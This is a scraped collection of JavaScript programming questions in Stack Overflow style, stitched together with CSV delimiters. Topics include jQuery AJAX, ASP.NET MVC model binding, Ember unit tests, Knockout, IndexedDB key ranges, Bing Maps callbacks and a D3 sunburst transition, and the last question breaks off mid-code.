mySQL DB remain on my primary hosting domain what is the best way to manage my JS AJAX requests if they are now cross domain ? Currently they look like this within my .JS file ( with relative paths ) : $ .ajax ( { type : `` POST '' , url : `` /myNearbyPhpFile.php '' , data : { data : someData } , success : function ( $ r ) { } } ) ;",Moving .JS files to a CDN : How to manage AJAX requests ? "JS : I have a simple modal that uses select2 to get a list of Products from the server . User can multiple choose products and hit Ok to refine a search.My following setup grabs the data from the modal and does an ajax call against a Controller action with a strongly typed view model that matches what the JS is trying to send via the ajax call.Ajax : Right before the ajax call goes to the controller I inspect the content and structure of exploreFilters : Here is how the form data looks on the POST request : On the other side I got a controller which takes a strongly-typed parameter with a structure similar to what exploreFilters has : And my strongly-typed view model : Once the controller action gets hit I can see that DateStart and DateEnd have been successfully bound but not my list of products.I can not change the datatype on the json request , it has to be html because my controller action is going to be returning html.I 've tried changing the capitalization on Id and Text , JSON.stringify ( which actually makes the dates not bind anymore ) What am I doing wrong ? var exploreFilters = { `` type '' : exploreType , `` products '' : $ ( ' # s2id_select2-products ' ) .select2 ( 'data ' ) , `` locations '' : $ ( `` # page-report__data '' ) .data ( `` criteria__locations '' ) , `` companies '' : $ ( `` # page-report__data '' ) .data ( `` criteria__companies '' ) , `` usertypes '' : $ ( `` # page-report__data '' ) .data ( `` criteria__usertypes '' ) , `` groupusers '' : $ ( `` # page-report__data '' ) .data ( `` criteria__groupusers '' ) , `` datestart '' : $ ( `` # page-report__data '' ) .data ( `` criteria__datestart '' ) , `` dateend '' : $ ( `` # page-report__data '' ) .data ( `` criteria__dateend '' ) } ; $ .ajax ( { dataType : `` html '' , type : `` POST '' , url : `` /Report/Group/FilteredView '' , data : exploreFilters , success : function ( html ) { if ( $ .trim ( html ) === `` '' ) $ targetSection.html ( ' < div class= '' page-report__empty '' > No data found . Please adjust your search filters and try again. < /div > ' ) ; else $ targetSection.html ( html ) ; } , error : function ( xhr , text , err ) { if ( text === `` timeout '' ) $ targetSection.html ( ' < div class= '' page-report__empty '' > The request timed out . Please try again. < /div > ' ) ; else $ targetSection.html ( ' < div class= '' page-report__empty '' > There has been an error. < /div > ' ) ; } } ) ; public ActionResult FilteredView ( ReportCriteriaViewModel criteria ) { throw new NotImplementedException ( ) ; } public class ReportCriteriaViewModel { public ProductViewModel [ ] Products { get ; set ; } public string [ ] Locations { get ; set ; } public string [ ] Companies { get ; set ; } public string UserTypes { get ; set ; } public string GroupUsers { get ; set ; } public string DateStart { get ; set ; } public string DateEnd { get ; set ; } } public class ProductViewModel { public Guid Id { get ; set ; } public string Text { get ; set ; } }",ajax post on MVC .NET does not pass array correctly "JS : Say I found a box of loose shoes ( all the same kind ) at a garage sale , and I 've created an array with each individual shoe listed by shoe size.I want to display the number of paired values of shoe sizes in the array . For example , I have this array : I would like to display 3 because we have 3 pairs of numbers : And 3 remaining values that do n't have a matching pair-value ( 20,30,50 ) .How can I do this ? [ 10,10,10,10,20,20,20,30,50 ] 10,1010,1020,20 function pairNumber ( arr ) { var sorted_arr = arr.sort ( ) ; var i ; var results = [ ] ; for ( i = 0 ; i < sorted_arr.length ; i++ ) { if ( sorted_arr [ i + 1 ] == sorted_arr [ i ] ) { results.push ( sorted_arr [ i ] ) ; } } return results.length ; } console.log ( pairNumber ( [ 10 , 10 , 10 , 10 , 20 , 20 , 20 , 30 , 50 ] ) )",How can I return only the number of matching pair values in array ? "JS : Given that the ES 5.1 standard states that ... 1 ) Note at the foot of http : //es5.github.com/ # x13.22 ) http : //es5.github.com/ # x15.3.5.2 ( which implies that all other functions do ) ... why do built-in functions no longer have a prototype property ? : Moreover these built-ins can not be used as constructors even when they are assigned a prototype property : Conversely , removing the prototype property from a user defined object still allows it to be used as a constructor , and in fact assigns a generic object to the [ [ prototype ] ] of the generated instances : Are built in functions now sub-typed as either constructors or functions ? [ Tested in most modern browsers ] NOTE A prototype property is automatically created for every function , to allow for the possibility that the function will be used as a constructor . NOTE Function objects created using Function.prototype.bind do not havea prototype property . [ ] .push.prototype ; //undefinedMath.max.prototype ; //undefined [ ] .push.prototype = { } ; [ ] .push.prototype ; // [ object Object ] new [ ] .push ( ) ; //TypeError : function push ( ) { [ native code ] } is not a constructor var A = function ( ) { } ; A.prototype = undefined ; A.prototype ; //undefined ( new A ( ) ) .__proto__ ; // [ object Object ]",Why do built-in functions not have a prototype property ? "JS : I am trying to create a line connection on click an image icon , I have tried the same using the wires.html example . But it is not working . I am using react with mxGraph . How to implement this . Is there any way to achieve this.I have to start the line connection inside the bind event . Is there anyway to fix this . I have tried but none of them is working.I really need help.In the image Arrow Connection ( Multiple points are not supported . Used for directly connecting source to target ) is working properly . But need to implement Line Connection ( Multiple points are supported . Starting from source we can click any where to create multiple points till the target connection ) .Please check the below URL for exampleDemo URL : http : //jithin.com/javascript/examples/contexticons.htmlSource Code URL : https : //jsfiddle.net/fs1ox2kt/In the Demo URL , when click on a cell 4 icons will be displaying ( Delete , Resize , Move , Connect ) . I have replaced Delete with Line Connection and Resize with Arrow Connection . Please have a look . mxEvent.addGestureListeners ( img , mxUtils.bind ( this , function ( evt ) { mxConnectionHandler.prototype.isStartEvent = function ( me ) { console.log ( `` Here we have to start the line connection '' ) ; } ; } ) ) ;",How to create a line connection mxGraph "JS : I am currently running through the official EmberJS tutorial on their website and I 'm on this part . Everything works perfectly in the app itself when I run ember serve but the problem is when I run the unit tests for the new service . I am running ember test -- server and I get an error that I took a screenshot of below : The unit test code : From the tutorial , my understanding is that this.subject ( { cachedMaps : stubCachedMaps } ) will set up all the maps for me but it seems the service itself might be undefined , leading to no property maps . Is this right ? What could be causing this ? System specs from running ember -- version : ember-cli : 2.13.0node : 6.8.1os : darwin x64 import { moduleFor , test } from 'ember-qunit ' ; import Ember from 'ember ' ; const DUMMY_ELEMENT = { } ; let MapUtilStub = Ember.Object.extend ( { createMap ( element , location ) { this.assert.ok ( element , 'createMap called with element ' ) ; this.assert.ok ( location , 'createMap called with location ' ) ; return DUMMY_ELEMENT ; } } ) ; moduleFor ( 'service : maps ' , 'Unit | Service | maps ' , { needs : [ 'util : google-maps ' ] } ) ; test ( 'should create a new map if one isnt cached for location ' , function ( assert ) { assert.expect ( 4 ) ; let stubMapUtil = MapUtilStub.create ( { assert } ) ; let mapService = this.subject ( { mapUtil : stubMapUtil } ) ; let element = mapService.getMapElement ( 'San Francisco ' ) ; assert.ok ( element , 'element exists ' ) ; assert.equal ( element.className , 'map ' , 'element has class name of map ' ) ; } ) ; test ( 'should use existing map if one is cached for location ' , function ( assert ) { assert.expect ( 1 ) ; let stubCachedMaps = Ember.Object.create ( { sanFrancisco : DUMMY_ELEMENT } ) ; let mapService = this.subject ( { cachedMaps : stubCachedMaps } ) ; let element = mapService.getMapElement ( 'San Francisco ' ) ; assert.equal ( element , DUMMY_ELEMENT , 'element fetched from cache ' ) ; } ) ;",Ember JS tutorial : TypeError : Can not read property 'maps ' of undefined JS : Can I depend on the following code alerting b before a ? var x = { } x [ ' b ' ] = 1x [ ' a ' ] = 0for ( var i in x ) { alert ( i ) },Are there any major browsers that do not preserve insertion order in a JavaScript Object ? "JS : Firstly , I have a problem with OOP in javascript , and I understand very little about this , but I need to solve the problem ... Well , I am trying use , on Bootstrap 4 , a library made for Bootstrap 3 : https : //github.com/nakupanda/bootstrap3-dialogI get the following error : `` Can not call a class as a function '' Looking the code , I discovered somethings:1 - classCallCheck : is the function that throws the error . I suppose that it forces the user use `` new '' and instantiate an object and never call like a function ; 2 - createClass : is a function that constructs classes , so the classes in Bootstrap 4 is not defined conventionally.3 - inherits : is another function and shows that the inheritance is not conventional too.4 - The library has this code to extends the Bootstrap Modal : But , Modal.call trigger the error : `` Can not call a class as a function '' .I suppose the only problem is BootstrapDialogModal inherits Modal in inheritance conditions imposed by Bootstrap 3 and , when Bootstrap 4 is active , these conditions are not the same.Follow a jsfiddle : http : //jsfiddle.net/g6nrnvwu/Someone know how can I adjust this code ? Thanks . var BootstrapDialogModal = function ( element , options ) { Modal.call ( this , element , options ) ; } ;",How can I extends a Modal in Bootstrap 4 ? "JS : In my project I 'm using browser 's indexed-DB and I would like to retrieve some objects from the db with specific ids . According to MDN you could use ranges to get the results you want : According to MDN : However what do you do if you wish to get an array of specific ids that are not in order and are not sequential ( ex : [ 91,819,34,24,501 ] ) with a single request ? // Only match `` Donna '' var singleKeyRange = IDBKeyRange.only ( `` Donna '' ) ; // Match anything past `` Bill '' , including `` Bill '' var lowerBoundKeyRange = IDBKeyRange.lowerBound ( `` Bill '' ) ; // Match anything past `` Bill '' , but do n't include `` Bill '' var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound ( `` Bill '' , true ) ; // Match anything up to , but not including , `` Donna '' var upperBoundOpenKeyRange = IDBKeyRange.upperBound ( `` Donna '' , true ) ; // Match anything between `` Bill '' and `` Donna '' , but not including `` Donna '' var boundKeyRange = IDBKeyRange.bound ( `` Bill '' , `` Donna '' , false , true ) ; // To use one of the key ranges , pass it in as the first argument of openCursor ( ) /openKeyCursor ( ) index.openCursor ( boundKeyRange ) .onsuccess = function ( event ) { var cursor = event.target.result ; if ( cursor ) { // Do something with the matches . cursor.continue ( ) ; } } ;",Getting specific ids from Indexeddb "JS : This is a question from CodeWars that is named `` Count of positives/sum of negatives '' . It says : If the input array is empty or null , return an empty arrayTo check if the array is empty , I decided to check if it was an empty array . When I try to do : I fail the test , but if I do : I pass the test . An empty array should be equal to [ ] right ? Why is there a difference , and what is the difference between these two checks ? My code is as follows : if ( input == [ ] ) if ( input.length == 0 ) function countPositivesSumNegatives ( input ) { var a = 0 ; var b = 0 ; if ( input == null ) { return [ ] } if ( input.length == 0 ) { return [ ] } for ( var i = 0 ; i < input.length ; i++ ) { if ( input [ i ] > 0 ) { a++ ; } if ( input [ i ] < 0 ) { b += input [ i ] ; } } return [ a , b ] }",Why ca n't I check if an array is empty with array == [ ] ? "JS : Given that HTMLInputElement , HTMLSelectElement and HTMLTextAreaElement all directly inherit HTMLElement ( and not something common , like a HTMLFormElement ) , I 'd expect that < label > would be able to focus non-field elements such as a < div > .However , the code example below shows a < label > correctly focusing a < textarea > , but requires a JS hack ( used jQuery in the example ) to focus the contenteditable < div > .Is there a published list of elements that < label > works with ? Or any documentation that discusses the usage of with contenteditable < div > s ? Am I missing something , maybe JS is not needed to focus the contenteditable < div > ? Posted at https : //jsfiddle.net/jkvsd03y/5/ < div > < label for= '' textarea-id '' style= '' font-weight : bold ; '' > Label Text Area < /label > < br > < textarea id= '' textarea-id '' > Editable text < /textarea > < /div > < div style= '' margin-top:20px '' > < label for= '' contenteditable-id '' id= '' label-for-div-id '' style= '' font-weight : bold ; '' > Label Editable Div < /label > < br > < div id= '' contenteditable-id '' contenteditable= '' true '' style= '' border : solid 1px black '' > < p > < span > Edtiable text < /span > < /p > < /div > < /div > < script > $ ( function ( ) { $ ( ' # label-for-div-id ' ) .on ( 'click ' , function ( ) { $ ( ' # ' + $ ( this ) .attr ( 'for ' ) ) .focus ( ) ; } ) } ) < /script >",HTML < label > with for=DIV-ID to focus a contenteditable div ( does label < label > only support form elements ? ) "JS : The old way : With jQuery : With bind : With call : It seems that apply works too : http : //jsfiddle.net/SYajz/1/I was wondering if there are any not so obvious differences between these methods var self = this ; setTimeout ( function ( ) { console.log ( self ) ; } , 5000 ) ; setTimeout ( $ .proxy ( function ( ) { console.log ( this ) ; } , this ) , 5000 ) ; setTimeout ( ( function ( ) { console.log ( this ) ; } ) .bind ( this ) , 5000 ) ; setTimeout ( ( function ( ) { console.log ( this ) ; } ) .call ( this ) , 5000 ) ; setTimeout ( ( function ( ) { console.log ( this ) ; } ) .apply ( this ) , 5000 ) ;","Difference between $ .proxy , bind , call , apply" "JS : I am trying to create an html hierarchical select based on this solution and using knockoutHowever , knockout encodes the string value i return.How can i decode the text returned from the function ? jsFiddle exampleHtml : Javascript : < select data-bind= '' options : items , optionsText : getOptionText '' > < /select > var viewModel = { items : ko.observableArray ( [ { Text : `` Item 1 '' , level : 1 } , { Text : `` Item 2 '' , level : 2 } , { Text : `` Item 3 '' , level : 3 } , { Text : `` Item 4 '' , level : 4 } ] ) , getOptionText : function ( data ) { var value = `` '' ; for ( var i = 1 ; i < = ( data.level - 1 ) * 2 ; i++ ) { value += `` & nbsp ; '' ; } value += data.Text ; return value ; } } ; ko.applyBindings ( viewModel )",Knockout optionsText is encoded "JS : I 'm trying to find out which would be the most optimal way of intersection a set of texts and find the common words in them . Given this scenario : intersection result should be : It should be able to ignore punctuation marks like . , ! ? -Would a solution with regular expressions be optimal ? var t1 = 'My name is Mary-Ann , and I come from Kansas ! ' ; var t2 = 'John , meet Mary , she comes from far away ' ; var t3 = 'Hi Mary-Ann , come here , nice to meet you ! ' ; var result = [ `` Mary '' ] ;",Intersecting texts to find common words "JS : I 've been writing test ( in JavaScript ) for the last two months . And , I have the habit of checking if module has some properties . For example : And , I 've been wondering if I am doing the right things . Just wan na know a few things : Is this pattern `` right '' ? Is it widely used ? Are there other ways to do it ? If its not `` right '' ? Why ? Does it even makes sense ? I mean , it is unnecesary or redundant ? // test/foo.jsconst Foo = require ( '../lib/foo ' ) ; const Expect = require ( 'chai ' ) .expect ; describe ( 'Foo API ' , ( ) = > { it ( 'should have # do and # dont properties ' , ( ) = > { Expect ( foo ) .to.have.property ( 'do ' ) .and.to.be.a ( 'function ' ) ; Expect ( foo ) .to.have.property ( 'dont ' ) .and.to.be.a ( 'function ' ) ; } ) ; } ) ; } ) ;",Should I test if a module has some properties ? "JS : This expression is very simple for javascript / react , to bind function with this scope.But when introduce with flowtype , that cause error : What can I do to pass flow test ? toggle can be any function even empty . this.toggle = this.toggle.bind ( this ) ; toggle ( ) { /// do nothing }",flowtype bind cause error ` Convariant property incompatible with contravariant use in assignment of property ` "JS : I am trying to create a Chrome extension with a floating widget . To do that , I have to isolate my element from the rest of the page . Shadow DOM looks like a perfect fit for that , but it is n't doing what I expected.Here is my content script : content.jsThe div inside the shadow DOM should have black text , but it has red text instead . Am I doing something wrong ? var lightDom = document.createElement ( 'style ' ) ; lightDom.innerText = 'div { color : red } ' ; document.body.appendChild ( lightDom ) ; var shadowDom = document.createElement ( 'div ' ) ; document.body.appendChild ( shadowDom ) ; var shadowRoot = shadowDom.attachShadow ( { 'mode ' : 'open ' } ) ; shadowRoot.innerHTML = ` < style > div { background-color : blue ; } < /style > < div > Shadow ! < /div > ` ;",Light DOM style leaking into Shadow DOM "JS : I know there are many problems here listed like this . but I ca n't pinpoint where I did wrong.. we have $ scope.current variable , and a nested menu with numbering id like 1:2 , 1:3 , 1:4 , 2:1 , 2:2 , 2:3 and so on . Goal is very simple . I need to make this < li > active , if the $ parent. $ index : $ index is equal to $ scope.current . ID is set whenever openpic ( $ parent. $ index , $ index ) triggered . We have li.active class in css . So , can someone please show me , what 's missing in that code ? TRY 1 : Tried : Still not working . TRY 2I have something like this : and it shows as ng-class= '' active '' but class attribute did not updated.TRY 3it shows ng-class='highlight '' , but class still shows class= '' ng-binding ng-scope '' TRY 4It solves the problem , but it seems a little bit overkill for a simple switch function . Any more ideas ? TRY 5As per major-mann code suggestion that works at TRY 4 , I made these adjustment , and surprisingly , it works.That one works . Removed all braces completely ? ? ? ? < li ng-repeat= '' item in type.sub | orderBy : y '' ng-click= '' openpic ( $ parent. $ index , $ index ) '' ng-class= '' { 'active ' : $ parent. $ index + ' : ' + $ index == current } '' > < li ng-repeat= '' item in type.sub | orderBy : y '' ng-click= '' openpic ( $ parent. $ index , $ index ) '' ng-class= '' { 'active ' : $ parent. $ index + ' : ' + $ index == $ parent.current } '' > ng-class= '' { { $ parent. $ index + ' : ' + $ index == $ parent.current & & 'active ' || `` } } '' ng-class= '' { { $ parent. $ index + ' : ' + $ index == $ parent.current & & 'highlight ' || `` } } '' ng-class= '' isActive ( $ parent. $ index , $ index ) '' ng-class= '' $ parent. $ index + ' : ' + $ index == $ parent.current & & 'active ' || `` ''",ng-class not working . Where did I do wrong ? "JS : I am looking for an exception to the no-undef rule that will permit undeclared globals matching a naming rule . In this case , a regex like [ A-Z ] [ a-z ] *Model should be allowed , so `` CustomerModel '' and `` PatientModel '' would all be allowed , because it 's too cumbersome to place /* global CustomerModel */ in every unit and too cumbersome to list every *Model global even in the eslint global configuration.I would like to have a rule like this : Where the above syntax is invented by me and I hope obviously means `` only complain when the above reg-expression name is not matched . `` Alternatively if there is a way to specify regular expression matching in the .eslintrc file globals list . `` rules '' : { `` no-undef '' : [ 2 , `` [ A-Z ] [ a-z ] *Model '' ] ,",Can I create an ESLint rule that will allow all globals matching a regular expression ? "JS : I am trying to extend a third party library on a specific page , but I do n't want to change any of the third party code . I know the name of the functions the third party library calls when something happens , so if I want my own custom code to execute after that , how can I do that ? Third Party Library has : Now if it was my own code I 'd do something like this : However , it 's not and I do n't want to overwrite stock library code . So is there anyway to do the above , but without touching the original function code ? I would have a reference to the function itself , but that 's it.EDIT : I should mention the declared function is available globally . function eventFinished ( args ) { //library stuff here } function eventFinished ( args ) { //library stuff here MyCustomFunction ( ) ; }",JS : Call a function after another without touching the original function ? "JS : I was looking at the code for the underscore.js library ( jQuery does the same thing ) and just wanted some clarification on why the window object is getting passed into the self executing function.For example : Since this is global , why is it being passed into the function ? Would n't the following work as well ? What issues would arrise doing it this way ? ( function ( ) { //Line 6 var root = this ; //Line 12 //Bunch of code } ) .call ( this ) ; //Very Bottom ( function ( ) { var root = this ; //Bunch of code } ) .call ( ) ;",Why do you need to pass in arguments to a self executing function in javascript if the variable is global ? "JS : I was studying the Twitter source code , and I came across the following snippet : Why does Twitter redefine these functions ? Edit : To see the code , go to any twitter user page , open the source of the page , and you will see that snippet in the second block of javascript . window.setTimeout=window.setTimeout ; window.setInterval=window.setInterval ;",Why does Twitter redefine window.setTimeout and window.setInterval ? "JS : i 'm trying to make this thing where i have a div with a full background image and a div on top with a container , and this div is draggable , and when dragged it shows the same image as the background but altered.Well , something among the lines of this penMy CSS so far : .contain { position : relative ; } # dummy { background : url ( http : //i.imgur.com/CxYGDBq.jpg ) ; background-attachment : fixed ; background-repeat : no-repeat ; background-size : cover ; position : absolute ; top:0 ; left:0 ; } # dummy2 { position : absolute ; top:0 ; z-index:99 ; left:0 ; } .mao { background : url ( http : //i.imgur.com/UbNyhzS.png ) ; width:250px ; height:300px ; position : absolute ; bottom:0 ; z-index:999 ; background-size : contain ; } .screen { width:960px ; height:995px ; background-color : pink ; position : relative ; left:32px ; top:30px ; background-attachment : fixed ; background : url ( http : //i.imgur.com/yjR8SCL.jpg ) ; }",Background image clipped to draggable div "JS : I have the facebook application with approved ads_read , manage_pages ads_management , business_management and Ads Management Standard Access permissions.I can create Ad campaign , ad set and can upload asset to Facebook via Facebook Marketing API.But when I try to create ad creative , with /adcreatives request , I get Error with message : ( # 3 ) Application does not have the capability to make this API call.The example of curl request : I 've tried making requests with app token , with page token and with user token ( which was allowed in FB Business manager ) .I 've also tried with sandbox account and it 's tokenEvery service ( app , facebook page and user ) connected with business account in business manager and have admin ( max ) permissions.I 've tried to send data in body with JSON request , I 've tried to send data as x-www-form-urlencoded.I 've tried using plain http requests and tried with facebook-nodejs-business-sdkBut still no success.So , the question is , what is the correct AD Creative create request and what permissions does my app need to perform such task ? P.S . I 've also asked a few questions on Facebook Developers forum and got no solution . q1 , q2 , q3 curl -X POST \ 'https : //graph.facebook.com/v3.3/act_ < account_id > /adcreatives ? access_token= < access_token_here > ' \ -H 'Content-Type : application/x-www-form-urlencoded ' \ -H 'Host : graph.facebook.com ' \ -d 'call_to_action_type=USE_APP & actor_id= < page_id > & object_type=APPLICATION & status=active & name=hello & title=foo & page_id= < page_id > & id=act_ < account id > & image_hash=fb1a69e0965076e791183ac82c9f7417 '",Facebook Marketing API ad creatives JS : Why does the & & operator return the last value ( if the statement is true ) ? Fiddle ( `` Dog '' == ( `` Cat '' || `` Dog '' ) ) // false ( `` Dog '' == ( false || `` Dog '' ) ) // true ( `` Dog '' == ( `` Cat '' & & `` Dog '' ) ) // true ( `` Cat '' & & true ) // true ( false & & `` Dog '' ) // false ( `` Cat '' & & `` Dog '' ) // Dog ( `` Cat '' & & `` Dog '' & & true ) // true ( false & & `` Dog '' & & true ) // false ( `` Cat '' & & `` Dog '' || false ) ; // Dog,Why is the following true : `` Dog '' === ( `` Cat '' & & `` Dog '' ) JS : I am trying to delete p tags with data-spotid attributebut when i am removing child it is reindexing the dom . let suppose i have 8 items i deleted 1st it will reindex it and 2nd element will become 1st and it will not delete it will go to 2nd which is now 3rd element . $ dom = new DOMDocument ( ) ; @ $ dom- > loadHTML ( $ description ) ; $ pTag = $ dom- > getElementsByTagName ( ' p ' ) ; foreach ( $ pTag as $ value ) { /** @ var DOMElement $ value */ $ id = $ value- > getAttribute ( 'data-spotid ' ) ; if ( $ id ) { $ value- > parentNode- > removeChild ( $ value ) ; } },DomDocument removeChild in foreach reindexing the dom "JS : So my goal is to create a library in Typescript . My intention is to split up core parts of the library into submodules like RxJS or Angular Material.RxJS and Angular both support imports like so : However , I am unable to replicate this myself.My goal is to do something similar and allow you to import a class with import { foo } from 'package/bar ; I have looked at RxJS 's source on Github and have tried replicating what they 've done but it 's not working.The library compiles fine but when I go about importing it I always get a Can not resolve dependency 'package/foo ' error.Meanwhile doing import { test } from package ( without the submodule part ) works completely fine.I 've tried using paths in tsconfig to no avail . If that is the answer then I 'm doing it wrong.How do I go about doing this ? // RxJSimport { map , filter } from 'rxjs/operators ' ; // Angularimport { MatButtonModule } from ' @ angular/material/button ' ;",How to export a submodule in a Typescript library "JS : I am trying to implement floating label on input focus as this one with styled-components : https : //jsfiddle.net/273ntk5s/3650/But my form is loading dynamically so the label is loaded first and then the inpout . The input focus change does n't work when the input type text is loaded afterwards . Is there a way to achieve this ? I have used jQuery also , still no luck.CSS : var oldSize ; $ ( ' # FirstName ' ) .focus ( function ( ) { oldSize = $ ( `` label [ for='FirstName ' ] '' ) .css ( 'font-size ' ) ; $ ( `` label [ for='FirstName ' ] '' ) .css ( 'font-size ' , 12 ) ; } ) ; $ ( ' # FirstName ' ) .blur ( function ( ) { $ ( `` label [ for='FirstName ' ] '' ) .css ( 'font-size ' , oldSize ) ; } ) ; .inputText { font-size : 14px ; width : 200px ; height : 35px ; } .floating-label { position : absolute ; pointer-events : none ; font-size : 14px ; transition : 0.2s ease all ; } input [ id='FirstName ' ] : focus + .floating-label { font-size : 11px ; } < div > < label for= '' FirstName '' class= '' mktoLabel mktoHasWidth floating-label '' style= '' width : 100px ; '' > First name : < /label > < input id= '' FirstName '' name= '' FirstName '' maxlength= '' 255 '' type= '' text '' class= '' mktoField mktoTextField mktoHasWidth mktoRequired mktoInvalid inputText '' style= '' width : 150px ; '' > < /div >",On input focus change the font size of label "JS : I want to create an Immutable Set of paths . A path , in my case , is just an array of strings . So let 's say we have the following paths.I then create the Immutable Set like thisAlthough selectedPaths.first ( ) returns [ `` a '' ] , I can not understand why selectedPaths.contains ( [ `` a '' ] ) returns false.EDIT : Well , I got an answer as to why this is happening , but I still can not get it to work as I need it to.SOLUTION : As @ Alnitak has stated , I solved this by comparing a path to Immutable.List ( [ `` a '' ] ) instead of a simple array var paths = [ [ `` a '' ] , [ `` a '' , `` b '' , `` c '' ] ] ; var selectedPaths = Immutable.Set ( paths ) ;",Immutable.Set.contains returns false "JS : I have implemented Code Mirror as a plugin into a CMS system.I have an issue where if I select multiple lines and press tab the lines are deleted.This does not happen on the Code Mirror demo website . I ca n't find a configuration option to enable or disable multiple indent.Here is my configuration code : Context : https : //github.com/rsleggett/tridion-mirror/blob/master/src/BuildingBlocks.Tridion2011Extensions.CodeMirror/BuildingBlocks.Tridion2011Extensions.CodeMirror/Scripts/codemirror/codemirror.jsI 'm not sure what I 'm missing . Any ideas ? this.CodeArea = CodeMirror.fromTextArea ( codeArea , { lineNumbers : true , mode : { name : `` xml '' , htmlMode : true } , onChange : function ( editor ) { editor.save ( ) ; } } ) ;",CodeMirror 2 : Multiple indent is deleting lines JS : Why does the first line work while the second line throws run-time exception ? The first line : The second line : [ [ ] ] [ 0 ] ++ ; //this line works fine [ ] ++ ; //this lines throws exception,Why does [ [ ] ] [ 0 ] ++ work but [ ] ++ throws run-time exception ? "JS : Both Safari and Edge do not support the audioContext.copyToChannel ( ) function to populate an audioBuffer with custom content . Is there any other way to do it ? In my case , I want to create an impulse response , populate a buffer with that response and convolve some sound with that buffer . For Chrome and Firefox this works : buffer = audioCtx.createBuffer ( numOfChannels , 1 , sampleRate ) ; buffer.copyToChannel ( impulseResponse , 0 ) ; buffer.copyToChannel ( impulseResponse , 1 ) ; convolverNode.buffer = buffer ;",alternative to audioContext.copyToChannel ( ) in Safari and Edge "JS : I am trying to get or change a attribute of a Javascript element in Shiny . So in the example below , I would like to obtain the iframe width directly when it is rendered using Javascript . I know I can set the width of the iframe , but that is not the goal . I would like to be able to get other attributes than width as well , for example the frameBorder attribute of an iframe.Here it says that `` The last event to be fired for x is shiny : value '' , so I assumed binding to that would work : However , we can see that the alert already fires before the iframe is actually rendered ( ? ) So my question ; how can I obtain the width ( or any other attribute , such as frameborder , see the image below ) of the iframe with Javascript directly when it is rendered ? Thanks in advance for any suggestions . library ( shiny ) jsCode < - tags $ head ( tags $ script ( HTML ( `` $ ( document ) .on ( 'shiny : value ' , function ( e ) { if ( e.target.id === 'my_iframe ' ) { alert ( 'JS code is running now . ' ) ; console.log ( e ) ; var iframe = document.getElementById ( 'my_iframe ' ) ; console.log ( iframe.width ) ; } } ) '' ) ) ) ui < - fluidPage ( jsCode , uiOutput ( 'my_iframe ' ) ) server < - function ( input , output ) { output $ my_iframe < - renderUI ( { tags $ iframe ( src='http : //www.example.com/ ' , height=600 ) } ) } shinyApp ( ui = ui , server = server )",Get attribute of element in rendered UI with JavaScript in Shiny "JS : I am building a custom Power BI visualization , so I have access to a javascript file which is consumed by the platform . I do n't have access to any markup , only an element that is injected where I am to mount my visualization . I am trying to mount a Bing Map , the docs look like this : The URL to the script has a callback querystring param that includes the name of the function to invoke.Given I do n't have access to the markup , I 'm trying to do everything dynamically in my visualization 's constructor . I create a function , move it to global scope , and then I add the querystring var to reference it , but it never gets invoked . Can you see anything I might be missing ? < div id='myMap ' style='width : 100vw ; height : 100vh ; ' > < /div > < script type='text/javascript ' > var map ; function loadMapScenario ( ) { map = new Microsoft.Maps.Map ( document.getElementById ( 'myMap ' ) , { } ) ; } < /script > < script type='text/javascript ' src='https : //www.bing.com/api/maps/mapcontrol ? key=YourBingMapsKey & callback=loadMapScenario ' async defer > < /script > constructor ( options : VisualConstructorOptions ) { this.host = options.host ; this.elem = options.element ; const self = this ; function moveMethodsIntoGlobalScope ( functionName ) { var parts = functionName.toString ( ) .split ( '\n ' ) ; eval.call ( window , parts.splice ( 1 , parts.length - 2 ) .join ( `` ) ) ; } function methodsToPutInGlobalScope ( ) { function loadMapScenario ( ) { console.log ( `` finally called loadMapScenario '' ) ; } } const script = document.createElement ( 'script ' ) ; script.type = 'text/javascript ' ; script.async = true ; console.log ( loadMapScenario === undefined ) ; // false , definitely in global scope script.src = 'https : //www.bing.com/api/maps/mapcontrol ? key=xxxxxxxxxx & callback=loadMapScenario ' ; document.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( script ) ;",Callback not being invoked "JS : Given a javascript library ( let 's say supportlibrary ) which has 100 named exports , I want to create my own compat-library which exports all named exports from supportlibrary but override a single named export with another . For now , I can export all 99 named exports manually , but this would be a tedious job . I rather would have something like : Is something like this possible using es6 / tc39-stage-x functionality ? or is this only possible with CommonJs ? import { SupportComponent as ExcludedSupportComponent , ... rest } from 'supportlibrary ' ; import SupportComponent from './MySupportComponent ' ; export { ... rest , SupportComponent }",Override an export from another library es6 "JS : I have a sunburst chart made in D3 . Each 'petal ' represents a subset of data . When a user clicks on one of the 'petals ' , I would like it to transition , fanning out to only show that subset ( see image ) : I 'm having trouble getting the code to properly transition . On click , all 'petals ' ( besides the selected one ) should disappear and the remain paths should animate along the circle ( using attrTween , arcTween , and interpolate ? ) . The primary value that would be changing is the angleSize ( var angleSize = ( 2 * Math.PI ) / theData.length ; ) .I 've tried using this , this , this , and this as reference without much success . What 's the best way to handle the animation ? Thanks for your time ! -- > See Plunker Here . < -- Code is below : EDITUpdated the code ( based on this ) to include a properly working enter , update , and exit pattern . Still unsure about the transition however . Most of the examples I 've linked to use something similar to d3.interpolate ( this._current , a ) ; , tweening between differing data . In this chart , this._current and a are the same , angleSize ( var angleSize = ( 2 * Math.PI ) / theData.length ; ) , startAngle , and endAngle are the only thing that changes . var colors = { 'Rank1 ' : ' # 3FA548 ' , 'Rank2 ' : ' # 00B09E ' , 'Rank3 ' : ' # 8971B3 ' , 'Rank4 ' : ' # DFC423 ' , 'Rank5 ' : ' # E74341 ' } ; var $ container = $ ( '.chart ' ) , m = 40 , width = $ container.width ( ) - m , height = $ container.height ( ) - m , r = Math.min ( width , height ) / 2 ; var study = null ; var arc = d3.svg.arc ( ) ; d3.csv ( 'text.csv ' , ready ) ; function ready ( err , data ) { if ( err ) console.warn ( 'Error ' , err ) ; var svg = d3.select ( '.chart ' ) .append ( 'svg ' ) .attr ( { 'width ' : ( r + m ) * 2 , 'height ' : ( r + m ) * 2 , 'class ' : 'container ' } ) .append ( ' g ' ) .attr ( 'transform ' , 'translate ( ' + ( width / 4 ) + ' , ' + ( height / 2 ) + ' ) ' ) ; var slice = svg.selectAll ( '.slice ' ) ; function updateChart ( study ) { if ( study ) { var theData = data.filter ( function ( d ) { return d.study_name === study ; } ) ; } else { var theData = data ; } slice = slice.data ( theData ) ; slice.enter ( ) .append ( ' g ' ) .attr ( 'class ' , 'slice ' ) ; var angleSize = ( 2 * Math.PI ) / theData.length ; var startRadArr = [ ] , endRadArr = [ ] ; for ( var i = 0 ; i < 